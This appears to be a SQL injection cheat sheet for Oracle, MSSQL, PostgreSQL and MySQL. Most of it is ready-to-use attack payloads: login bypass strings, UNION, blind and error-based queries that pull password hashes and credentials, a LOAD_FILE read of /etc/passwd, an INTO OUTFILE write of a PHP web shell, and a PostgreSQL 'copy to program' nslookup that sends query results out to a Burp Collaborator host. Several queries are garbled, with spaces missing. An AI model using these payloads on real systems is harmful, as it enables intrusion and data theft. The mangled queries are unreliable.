A SQL injection attack consists of inserting SQL statements on a SQL query via the input data from the client to the application. This vulnerability takes place due to incorrect filtering or lack of data sanitisation.
Exploiting this vulnerability can lead to bypassing logins, reading or modifying sensitive data from the database, executing administration operations on the database and reading or writing files on the operating system.
For example, a simple string that the attacker can use to bypass login portals would be:
' or '1'='1---
Finally, each database server has its difference, so queries for MySQL injection might not work on oracle database servers.
Cheat sheet
Most of the commands are retrieved from Port Swigger's cheat sheet.
String concatenation
DBMS
TECHNIQUE
Substring
Obtain a substring where "X" is the offset and "Y" is the lenght of the substring.
Comments
The comments used to remove the rest of the original query might vary from SQL server.
Obtain database version
Database content
Oracle
# DATABASESSELECT global_name FROM global_name;SELECTnameFROM V$DATABASE;SELECT instance_name FROM V$INSTANCE;SELECT SYS.DATABASE_NAME FROM DUAL;# TABLESSELECT TABLE_NAME[,owner] FROM all_tables# COLUMNSSELECT COLUMN_NAME FROM all_tab_columns WHERE table_name ='<TABLE_NAME>' [and owner = '<OWNER>'];# DATASELECT*FROM<TABLE>
Microsoft
# OBTAIN DBMS usersSELECTname, passwordFROM master.sys.sysusers;SELECT name, password_hash FROM master.sys.sql_logins-- # Sometimes casting is needed master.dbo.fn_varbintohexstr(password_hash)
# DATABASESSELECTnameFROMmaster..sysdatabases# TABLESSELECT TABLE_NAME FROM<DATABASE>.INFORMATION_SCHEMA.TABLES# COLUMNSSELECT COLUMN_NAME FROM<DATABASE>.INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME ='<TABLE_NAME>'# DATASELECT*FROM<DATABASE>.dbo.<TABLE_NAME>
PostgresSQL
# DATABASESELECT datname FROM pg_database# TABLESSELECT table_name FROM information_schema.tables # COLUMNSSELECT column_name FROM information_schema.columns WHERE table_name ='<TABLE_NAME>'
MySQL
# DATABASES
SELECT schema_name FROM information_schema.schemata;
# TABLES
SELECT table_name FROM information_schema.tables WHERE table_schema = '<DATABASE>'
# COLUMNS
SELECT column_name FROM information_schema.columns WHERE table_name = '<TABLE_NAME>'
Conditional errors
If you want to perform error-based attacks, a database error is produced if the condition is true.
Stacked queries
Some DBMS do not allow performing several queries on the same stamement.
Time delays
This set of functions can be used to perform Time-based attacks in seconds.
create OR replacefunctionf() returns void as $$declare c text;declare p text;beginSELECTinto p (<QUERY>);c :='copy (SELECT '''') to program ''nslookup '||p||'.<BURP-COLLABORATOR>''';execute c;END;$$ language plpgsql security definer;SELECT f();
Alternatively, you can use order by X, where X is the index by which to order.
http://example.c/debug.php?id=1order by3
2. Identify the database, the user and its privileges.
# Database V1http://example.com/room.php?cod=-1 UNION SELECT 1,2,3,4,(SELECT group_concat(SCHEMA_NAME,":") from information_schema.schemata),6
# Database V2' UNION SELECT NULL, user(), database() --# Privileges'unionselect grantee,privilege_type,is_grantable,4,5,6from information_schema.user_privileges--
3. Get the tables of a database.
# V1http://example.com/room.php?cod=-1 UNION SELECT 1,2,3,4,(SELECT group_concat(TABLE_NAME,":") from information_schema.TABLES where TABLE_SCHEMA = 'mysql'),6,7
# V2' UNION SELECT NULL, NULL , TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA='db' --
4. Get the columns of the table.
# V1http://example.com/room.php?cod=-1 UNION SELECT 1,2,3,4,(SELECT group_concat(TABLE_NAME,":",COLUMN_NAME,"\r\n") from information_schema.COLUMNS where TABLE_SCHEMA = 'mysql'),6,7
# V2http://192.168.157.10/debug.php?id=1 union select 1,3,column_name FROM INFORMATION_SCHEMA.columns where table_name = 'users'
# V3' UNION SELECT NULL, NULL ,COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_NAME='wp_users'--
5. Get the data of each column.
http://example.com/room.php?cod=-1 UNION SELECT 1,2,3,4,(SELECT group_concat(host,":",user,":",password,"\r\n") from mysql.user),6,7
' UNION SELECT NULL, NULL ,password FROM wp_users --
Blind
Discover if it is vulnerable.
Iron Man' and '1'='1' # True: Return the movieIron Man'and'1'='2' # False: Does notreturn anything
2. Know the length of the string.
Iron Man' and length(database())=1
3. Get the name of the database, where X indicates the value to be returned.
Iron Man' and hex(substring(database(),X,1))=hex('H')
4. Get the number of tables.
Iron Man' and (SELECT count(*) FROM INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA = 'bwapp')<5;
5. Get the name of each table, where X indicates the table and Y the character of the table's name.
Iron Man' and hex(substring((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA = 'bwapp' LIMIT X,1),Y,1))<hex('z');#
6. Get the number of columns in the table.
Iron Man' and (SELECT count(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA = 'bWAPP' and TABLE_NAME = 'movies')=7;
7. Get the name of the columns, where X indicates the column and Y is the character of the column's title.
Iron Man' and SUBSTRING((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE WHERE TABLE_SCHEMA = 'bWAPP' and TABLE_NAME = 'movies' LIMIT X,1),Y,1)='I';
8. Get the length and content of each value in the column, where X indicates the column's value and Y is the character of that value.
# LengthIron Man' and (SELECT CHAR_LENGTH(login) FROM users LIMIT X,1)='3';# ValueIron Man'and hex(substring((SELECTpasswordFROM users LIMIT X,1),Y,1))=hex('6');
Read Files
Because the contents of a file can be appended to the result of a query, we can retrieve data from the file system.
http://example.com/room.php?cod=-1 UNION SELECT 1,2,3,4,(TO_BASE64(LOAD_FILE('/etc/passwd'))),6,7
' union select grantee,privilege_type,is_grantable,4,5,6 from information_schema.user_privileges--
If the user has file privileges, the attacker can create files on the system.
2 UNION SELECT convert("1" USING binary),convert("1" USING binary),convert("1" USING binary), convert("<?php echo system(system($_GET['cmd']));?>" USING binary),convert("1" USING binary) into OUTFILE "C:\\xampp\\htdocs\\dashboard\\shell.php"
Note: Oracle queries required FROM statement; this can be fulfilled by using dual DB
' UNION SELECT null, null, null from dual--
2. Get table names.
' UNION SELECT table_name,null,null from all_tables--
3. Get columns from the table.
' UNION SELECT column_name,null,null from all_tab_columns where table_name='WEB_ADMINS'--
Mssql
Union
If you want to retrieve the DBMS credentials, perform the following queries..
' UNION SELECT name, password FROM master.sys.sysusers; -- -'UNIONSELECTname, password_hash FROM master.sys.sql_logins-- -# Sometimes casting is neededmaster.dbo.fn_varbintohexstr(password_hash)
1. Obtain databases.
' UNION SELECT name,NULL FROM master ..sysdatabases--
2. Get the database tables.
' UNION SELECT TABLE_NAME FROM <DATABASE>.INFORMATION_SCHEMA.TABLES--
3. Obtain columns from the table
' UNION SELECT COLUMN_NAME FROM <DATABASE>.INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = '<TABLE_NAME>'--
4. Retrieve data from the table.
' UNION SELECT password FROM <DATABASE>.dbo.<TABLE_NAME>--
Note 1: In order to concatenate two columns into one select query, use the function CONCAT(username,":",password).
Note 2: If you want to retrieve N rows, use: SELECT TOP N username ....
Error based
1. You need to understand why the error is popping up, so you can create a query without mistakes. For example, missing ";", ")" or keywords. 2. Get the DB version
', CONVERT(INT,@@version))--
3. Get the database, where X is the id of the database you want to extract.
',CONVERT(INT,db_name(X)))--
4. Get the table.
',CONVERT(INT,(SELECT top 1 TABLE_NAME FROM archive.information_schema.TABLES)))--
5. Obtain the first column (id).
',CONVERT(INT,(SELECT top 1 column_name from archive.information_schema.COLUMNS WHERE TABLE_NAME='pmanager')))--
6. Obtain the second column ("alogin").
',CONVERT(INT,(SELECT top 1 column_name from archive.information_schema.COLUMNS WHERE TABLE_NAME='pmanager' AND column_name NOT IN ('id'))))--
7. Obtain the third column ("psw").
',CONVERT(INT,(SELECT top 1 column_name from archive.information_schema.COLUMNS WHERE TABLE_NAME='pmanager' and column_name NOT IN ('id','alogin') )))--
8. Get the users and passwords (Iterative process).
',CONVERT(INT,(SELECT top 1 alogin FROM archive.dbo.pmanager where alogin not in ('ftpadmin','webadmin','administrator','user') order by id)))--
System Information
Database version:
SELECT @@version;
Database name:
SELECTDB_NAME();
Server name:
SELECT @@SERVERNAME;
Server's IP Address:
SELECT dec.local_net_address FROM sys.dm_exec_connections ASdecWHERE dec.session_id = @@SPID;
User Unformation
System user:
SELECT SYSTEM_USER;
Database username:
SELECTUSER_NAME();SELECT current_user;
Is a member of public role:
SELECTIS_SRVROLEMEMBER('public');
Is a member of sysadmin role:
SELECTIS_SRVROLEMEMBER('sysadmin');
Users that can be impersonated:
SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'
Authentication logins:
SELECTname, password_hash FROM master.sys.sql_logins
# Alternative 1SELECTCONVERT(NVARCHAR(MAX), CONVERT(VARBINARY(MAX), BulkColumn), 1) FROMOpenRowset(BULK 'C:\inetpub\wwwroot\search.asp', SINGLE_CLOB) AS content# Alternative 2SELECT*FROMOPENROWSET(BULK 'C:\\Users\\', SINGLE_CLOB) AS Contents;
Command execution
xp_cmdshell
If you log in as as sa (administrator), you can enable command execution.
SQLmap is an automatic tool used to detect and exploit SQL injection flaws. This subsection will teach you how to perform a simple SQL injection with SQLMap.
Intercept the request you want to analyse with BurpSuite, then store it into a file.
POST /index.php HTTP/1.1Host:example.comUser-Agent:Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language:en-US,en;q=0.5Accept-Encoding:gzip, deflateContent-Type:application/x-www-form-urlencodedContent-Length:42Origin:http://10.10.203.65Connection:closeReferer:http://10.10.203.65/Cookie:PHPSESSID=6f0kqfotc3gcb80ri2c9av37t1Upgrade-Insecure-Requests:1username=admin&password=password&x=25&y=16